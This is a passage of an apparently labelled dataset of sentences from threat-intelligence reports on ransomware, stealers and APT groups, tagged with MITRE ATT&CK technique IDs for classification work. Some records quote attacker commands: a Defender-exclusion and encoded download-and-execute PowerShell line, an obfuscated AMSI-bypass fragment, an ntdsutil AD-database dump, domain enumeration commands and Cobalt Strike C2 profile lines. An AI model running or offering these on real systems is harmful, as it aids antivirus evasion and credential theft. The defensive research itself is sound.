"doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "The code is shown in Figure 11. Figure 11.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "Attack Chain Fortinet Protections", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "A!tr W32/Infostealer.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "According to data analysis of ransomware groups’ dark web leak sites, LockBit 2.0 was the most impactful RaaS for five consecutive months.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "(Please see the Conclusion section for more detail.)", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "This practice is known as triple extortion, a tactic observed in groups like BlackCat, Avaddon and SunCrypt in the past.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Like other ransomware families such as BlackByte, LockBit 2.0 avoids systems that use Eastern European languages, including many written with Cyrillic alphabets.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Affiliates are tasked with gaining initial access to the victim network, allowing LockBit 2.0 to conduct the rest of the attack.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "The threat actors also expressed interest in other access methods such as RDP, VPN and corporate email credentials.", "labels": ["T1021.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "In exchange, they offer a cut of the paid ransom.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "LockBit 2.0 has also impacted various victims across multiple industry verticals.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "The graph below demonstrates that at the end of FY 2021, threat actors using LockBit 2.0 were much more open to negotiations of ransom amounts; during that time the ransom was dropped approximately 83% from the initial ask on average.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "LockBit 2.0 average difference in initial vs final ransom amount, shown as percentages.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "have been observed being utilized as footholds into the environment.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "TA0002 Execution T1053.005 Scheduled Task/Job Scheduled Task.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "T1059", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "TA00008 Lateral Movement T1021", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "LockBit encryption comparative table | Source:", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "The download speed is limited only by internet connection bandwidth, so it is possible to clone folders from corporate networks and upload them to the LockBit victim shaming blog quickly.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Bypass User Account Control", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Process Discovery", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "[T1021.002] NEXT-GENERATION FIREWALLS Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Ensure all HTTP Header Logging options are enabled CORTEX XSOAR Deploy XSOAR Playbook - Block URL Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators Deploy XSOAR Playbook - Block IP DNS SECURITY Enable DNS Security in Anti-Spyware profile NEXT-GENERATION FIREWALLS Setup NetFlow Monitoring Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Impact The courses of action below mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489] CORTEX XSOAR Deploy XSOAR Playbook - Ransomware Manual for incident response.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "This is a subset of our current Courses of Action initiative and will be updated as the project progresses.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "With claims of this RaaS offering the fastest encryption on the ransomware market, coupled with the fact that it has been delivered in high volume by experienced affiliates, this RaaS poses a significant threat.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC:", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "The threat actor claimed that the largest number of victims who paid ransom were company representatives who did not care about creating backup copies and did not protect their sensitive data.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "The threat actor claimed that there generally were only a few companies who refused to pay ransom on principle, while most of the victims evaluated profit and loss to decide whether or not to pay a ransom.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "LockBit 2.0 operators allegedly almost always offered discounts to their victims since the goal was to streamline attacks.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Additional Resources LockBit 3.0: Another Upgrade to the World’s Most Active RansomwareRansomware Groups to Watch: Emerging ThreatsAverage Ransom Payment Up 71% This Year, Approaches $1 Million2022 Unit 42 Ransomware Threat Report Highlights Get updates from Palo Alto Networks!", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "We have previously detailed how 8220 expanded its botnet and rotated its infrastructure.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "In this post, we use 8220 Gang activity as a lens through which to explain the process of investigating a threat, researching the threat activity as a whole, and gaining a perspective into attacker objectives, ultimately concluding with a wider understanding of related threat intelligence.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "Victims of 8220 Gang are typically, but not exclusively, users of cloud networks operating vulnerable and misconfigured Linux applications and services.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "However, this time the attacker-specific infrastructure is different, and we have not determined if it has delivered similar malware.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "Additionally, we can link this further based on the encoding quantity and repetition to past 8220 Gang samples.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "The first command can be decoded into a new script which pings associated attacker infrastructure and then starts a “payload” command. Infection Script’s encoded payload", "labels": ["T1027", "T1140"], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "The payload contains two additional base64 encoded scripts to set permissions, download, and configure miner and IRC bot infections.", "labels": ["T1027", "T1105"], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "This functionality communicates with 194.38.23[.]170.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "During our initial investigation in January, the group was using 185.106.94[.]146, and dw.bpdeliver[.]ru for malware download location post-infection such as in their infection script.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "Agrius exploits known vulnerabilities in internet-facing applications to install webshells, then conducts internal reconnaissance before moving laterally and then deploying its malicious payloads.", "labels": ["T1190"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The campaign lasted less than three hours and within that timeframe ESET customers were already protected with detections identifying Fantasy as a wiper, and blocking its execution.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Agrius operators deployed MiniDump and SecretsDump to this campaign’s first victim on February 20th, 2022, but waited until March 12th, 2022 to deploy Host2IP, Fantasy, and Sandals (consecutively).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Yes -u ", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Yes -p The username that will be used to log into the remote hostname(s) in argument -f.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The location to which Sandals will write the batch file on the remote system.", "labels": ["T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Default is psexec.exe in the current working directory.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "NewGuid() method.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "An example of a Sandals batch file is shown in Figure 2.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Then Fantasy sleeps for two minutes before overwriting the system’s Master Boot Record.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Agrius operators used a new tool, Sandals, to connect remotely to systems and execute Fantasy.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "ESET Research also offers private APT intelligence reports and data feeds.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "5485C627922A71B04D4C78FBC25985CDB163313BMiniDump.exeMSIL/Riskware.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "NRGBatch file that wipes some registry keys and is dropped and executed by the Fantasy wiper.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "DiscoveryT1135Network Share DiscoveryAgrius operators used cached credentials to check for access to other systems within an internal network.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "ImpactT1485Data DestructionThe Fantasy wiper overwrites data in files and then deletes the files.", "labels": ["T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "In the course of incident response activities, CISA determined that cyber threat actors exploited the Log4Shell vulnerability in an unpatched VMware Horizon server, installed XMRig crypto mining software, moved laterally to the domain controller (DC), compromised credentials, and then implanted Ngrok reverse proxies on several hosts to maintain persistence.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "CISA and FBI are releasing this Cybersecurity Advisory (CSA) providing the suspected Iranian government-sponsored actors’ tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help network defenders detect and protect against related compromises.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Threat Actor Activity In February 2022, the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server.", "labels": ["T1190"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "[T1562.001]: powershell try{Add-MpPreference -ExclusionPath 'C:\\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc \"$BASE64 encoded payload to download next stage and execute it\" The exclusion rule allowlisted the entire , enabling threat actors to download tools to the without virus scans.", "labels": ["T1027", "T1105", "T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "– XMRig Miner driver – XMRig Miner – XMRig miner configuration – Associated file.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "The Scheduled Task was named to masquerade as a legitimate Windows task.", "labels": ["T1053.005"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Once the threat actors established a deep foothold in the network and moved laterally to the domain controller, they executed the following PowerShell command on the Active Directory to obtain a list of all machines attached to the domain [T1018]: Powershell.exe get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address > The threat actors also changed the password for the local administrator account", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "[DS0017]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Mitigation: Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Monitor for newly constructed scheduled jobs by enabling the Microsoft-Windows-TaskScheduler/Operational setting within the event logging service", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "The actors used built-in Windows user account DefaultAccount.", "labels": ["T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Mitigation: Change default usernames and passwords immediately after the installation and before deployment to a production environment [M1027]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "The actors manually disabled Windows Defender via the GUI.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Monitor executed commands and arguments for actions that could be utilized to unlink, rename, or delete files [DS0017]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Mitigation: Ensure that local administrator accounts have complex, unique passwords across all systems on the network [M1027]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations [M1027].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Discovery Technique Title ID Use Recommendations Remote System Discovery T1018", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Monitor for newly constructed network connections associated with pings/scans that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0029].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Secure accounts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Ensure there are unique and distinct administrative accounts for each set of administrative tasks.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Secure credentials by restricting where accounts and credentials can be used and by using local device credential protection features.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Minimize the AD attack surface to reduce malicious ticket-granting activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "According to WHOIS records for the domain tributaria[.]website, used in this campaign to host the attacker’s tools as well as exfiltrated data, the domain was registered in July 2022 and the registrant was based out of Brazil.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Downloader batch script.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "It executes a function that uses alphanumeric characters and the special character “_” to generate a random name and creates a folder with the random name in the root directory of the victim’s machine.", "labels": ["T1027"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "\\..\\_upyqta2_J\\_upyqta2_Ji7.exe_upyqta2_JAT.lnk ..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "\\_upyqta2_J\\_upyqta2_J.exeC:\\_upyqta2_J\\_upyqta2_J.at_upyqta2_JEX.lnk..\\..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "\\Public\\DESKTOP-UT9NJ4Sy.cmd_upyqta2_J.lnk..\\..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The AutoIt script decrypts the encrypted “_upyqta2_J.ia” and drops the DLL “_upyqta2_J.ia.a1” with a spoofed file extension that has a hardcoded malicious function “A040822_1”.", "labels": ["T1105", "T1140"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "software>", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The trojan has remote desktop management capabilities such as creating and deleting directories on the victim’s machine, checking if a file on the victim’s filesystem exists and gets the file’s attributes, collecting size and version information, and downloading files from a URL.", "labels": ["T1083", "T1105"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Talos spotted hardcoded SQL commands in the trojan binary designed to collect login data from the Google Chrome user profile folders by writing it to a database source file called “login_data.sql”, and creating SQL queries to produce the database tables to store the stolen data.", "labels": ["T1005", "T1074.001"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The trojan has several anti-analysis and anti-virtual machine (VM) techniques built-in to avoid analysis in automated sandboxes and to thwart debugging:", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Checks for the existence of the anti-virus products such as AVG and Avast by checking for the DLLs avghookx.dll, avghooka.dll and snxhk.dll.", "labels": ["T1518.001"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Detects the sandbox environments such as SunBelt and Joe sandboxes.", "labels": ["T1012"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The spam tool is a 32-bit DLL written in Delphi and, when run on the victim’s machine, will attempt to compromise the victim’s login credentials for webmail services such as Yahoo, Gmail, and Hotmail.", "labels": ["T1078"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Phishing email body: consulate los datos adjuntos, por favor.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Outlook” namespace to the PowerShell instance to create the Outlook application object for loading the MAPI namespace.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "A function that validates email address format.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Next, the script writes the extracted email addresses from the array to a file called “.Outlook” created by the script in the roaming user profile’s", "labels": ["T1074.001"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "A function that sends phishing emails.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Horabot-10003078-0Win.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Horabot-10003091-0Win.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "This group also has notably targeted public school districts and other educational institutions.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "However, based on incident response observations, they are quick to leverage new vulnerabilities for lateral movement and persistence on a victim's network.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "We observed attempts to access the backup solution employed in the environment, likely to prevent the organization from successfully recovering without paying the demanded ransom.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "/c net group enterprise admins /domain", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "In this particular case, we observed the adversary leveraging a Windows Service to execute PowerShell to stay persistent in the environment.", "labels": ["T1569.002"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "During the investigation, we observed the attacker leveraging Windows Remote Desktop Connections to pivot to additional systems in the environment.", "labels": ["T1021.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "ac i ntds' 'ifm' 'create full c:\\temp_logs' q q 1> \\\\127.0.0.1\\admin$\\__[STRING]5 2>&1The actor also utilized PrintNightmare, a recently published series of vulnerabilities by Microsoft that would allow remote code execution when an improper print spooler performs privileged file operations.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "applicationThe adversary was also observed remotely modifying the Windows Registry on remote systems to disable remote administration restrictions to facilitate lateral movement and privilege escalation activities.", "labels": ["T1112", "T1562.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue($null,$true)}catch{}quser) ExfiltrationATT&CK Technique: Exfiltration Over Alternative Protocol (T1048)Over the past couple of years, we have observed an increasing number of ransomware threat actors adopting a double-extortion methodology in their attacks.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "They often leverage dual-use tools for various purposes to minimize their footprint and evade detection.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "The tool can be deployed and executed remotely to delete any remaining FOCUSFJORD forensic evidence, including files on disk, configuration data encrypted in the registry, and related services and registry keys used for persistence.", "labels": ["T1070.004"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Figure 2: Two FOCUSFJORD samples configured to proxy C2 traffic Concealing C2 Infrastructure UNC215 made technical modifications to their tools to limit outbound network traffic and used other victim networks to proxy their C2 instructions, likely to minimize the risk of detection and blend in with normal network traffic.", "labels": ["T1090"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "This sample was extracted from MD5: c25e8e4a2d5314ea55afd09845b3e886, which was submitted to a public malware repository in December 2017.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Some FOCUSFJORD samples from 2018 and 2020 use the same console values despite the significant gap in time (See Table 1).", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Trendmicro noted changes to supported configurations in FOCUSFJORD, dubbed SysUpdate, in their 2020 and 2021 reports following public disclosures.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "This suggests that operators using FOCUSFJORD are sensitive to security vendor reports and will update the code to avoid detection and exposure.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "6a9a4da3f7b2075984f79f67e4eb2f28 139.59.81.253 Kazakhstan helen a19370b97fe64ca6a0c202524af35a30 159.89.168.83 Iran helen 3c1981991cce3b329902288bb2354728 103.59.144.183 Unknown iceland 26d079e3afb08af0ac4c6d92fd221e71 178.79.177.69 UAE iceland 19c46d01685c463f21ef200e81cb1cf1 138.68.154.133 UAE iceland 28ce8dbdd2b7dfd123cebbfff263882c 138.68.154.133 Unknown iceland a78c53351e23d3f84267e67bbca6cf07 206.189.123.156 Israel (Gov),", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Around this time, the Turkish-language file Sosyal Güvenlik Reformu-Not-3.doc \"Social Security Reform - Note - 3.doc\" (MD5: 6930bd66a11e30dee1ef4f57287b1318) was distributed to a suspected Turkish government entity based on data from an open-source malware repository.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Notably, in 2019 the government of Iran accused APT27 of attacking its government networks and released a detection and removal tool for HYPERBRO malware.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "The activity detailed in this post demonstrates China’s consistent strategic interest in the Middle East.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "China has conducted numerous intrusion campaigns along the BRI route to monitor potential obstructions—political, economic, and security—and we anticipate that UNC215 will continue targeting governments and organizations involved in these critical infrastructure projects in Israel and the broader Middle East in the near- and mid-term. MITRE ATT&CK Techniques ID Technique T1003.001 OS Credential Dumping: LSASS Memory T1007 System Service Discovery T1010 Application Window Discovery T1012 Query Registry T1016 System Network Configuration Discovery T1021.001 Remote Services: Remote Desktop Protocol T1027 Obfuscated Files or Information T1033", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "System Owner/User Discovery T1055 Process Injection T1055.003 Process Injection: Thread Execution Hijacking T1055.012 Process Injection: Process Hollowing T1056.001 Input Capture: Keylogging T1057 Process Discovery T1059.001 Command and Scripting Interpreter:", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Archive Collected Data T1564.003", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Asymmetric Cryptography T1574.002 Hijack Execution Flow: DLL Side-Loading T1583.003 Acquire Infrastructure: Virtual Private Server T1588.003 Obtain Capabilities: Code Signing Certificates T1608.003 Stage Capabilities: Install Digital Certificate Indicators of Compromise", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "FEC3 FE_Trojan_Raw32_SILKWRAP_1 33341691_APT.Downloader.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Generic FE_Tool_Win_Generic_3 FE_Tool_Win32_Generic_3 FE_Trojan_Win_Generic_154 FE_Trojan_Win32_Generic_403 FE_Trojan_Win_Generic_155 FE_Trojan_Win64_Generic_54 FE_APT_Backdoor_Win32_HYPERBRO_2 FE_Trojan_Win32_Generic_404 FE_Trojan_Win32_Generic_406 Suspicious File Config Suspicious Regkey Added Suspicious Process Launch Activity Suspicious Codeinjection Activity Suspicious Process Delete Activity Suspicious Process Hijacking Activity Suspicious Process Self Deletion Activity Endpoint Security Generic.mg.a0b2193362152053 Generic.mg.26d079e3afb08af0 Generic.mg.28ce8dbdd2b7dfd1 Generic.mg.04c51909fc65304d Generic.mg.0e061265c0b59980 Generic.mg.09ffc31a432f646e Generic.mg.6ca8993b341bd90a Generic.mg.0ec4d0a477ba21bd Generic.mg.04dece2662f648f6 Trojan.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "They are primarily conducting cyber espionage activities and intellectual property (IP) theft attacks, but on some occasions, they have deployed ransomware on the targets.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "However, it is believed they deployed ransomware to cover their tracks.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "On the compromised machine, they use tools such as Mimikatz to dump credentials.", "labels": ["T1003.001"], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "Observations may show that MuddyWater acts according to the political interests of the Iranian state through the connection of MOIS.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "These countries signed these agreements intending to normalize diplomatic relations in the region.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "The Abraham Accords can be an improvement in the region from a neutral point of view, but some may feel uneasy about these agreements.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "September 2020 – Operation Quicksand – Israel: According to ClearSky, MuddyWater targeted many prominent Israeli organizations.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "In this specific campaign, security researchers observed that the threat actor used a variant of Shamoon to encrypt data.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "Security Recommendations Against MuddyWater MuddyWater leverages spear phishing.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "Our previous report on Cobalt Strike focused on the most frequently used capabilities that we had observed.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "We cover topics such as domain fronting, SOCKS proxy, C2 traffic, Sigma rules, JARM, JA3/S, RITA & more.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "This is made possible thanks to Malleable C2 profiles.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Our other post touched on Malleable C2 profiles and how threat actors use them; however, that was just some of their many applications.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "client { header \"Host\" \"whatever.com\"; <================ # Setting the header specific to client communication with the C2.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "You may choose one of these termination statement methods.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "parameter \"file\"; <================ # Adding a parameter to the URI.", "labels": [], "doc_title": 